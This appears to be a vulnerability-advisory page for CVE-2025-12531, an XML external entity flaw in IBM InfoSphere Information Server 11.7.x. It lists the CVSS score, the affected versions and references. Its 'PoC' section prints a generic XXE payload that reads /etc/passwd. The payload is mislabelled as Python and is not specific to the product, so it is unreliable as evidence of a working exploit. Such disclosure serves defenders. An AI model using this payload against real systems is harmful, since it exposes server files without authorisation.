CVE-2025-12531

Description

IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:infosphere_information_server:*:*:*:*:*:*:*:* - VULNERABLE

11.7.0.0

11.7.0.1

11.7.1.0

11.7.1.1

11.7.1.2

11.7.1.3

11.7.1.4

11.7.1.5

11.7.1.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12531
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12531
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12531/
[4] VulDB https://vuldb.com/cve/CVE-2025-12531
[5] https://www.ibm.com/support/pages/node/7249881

Raw JSON Data

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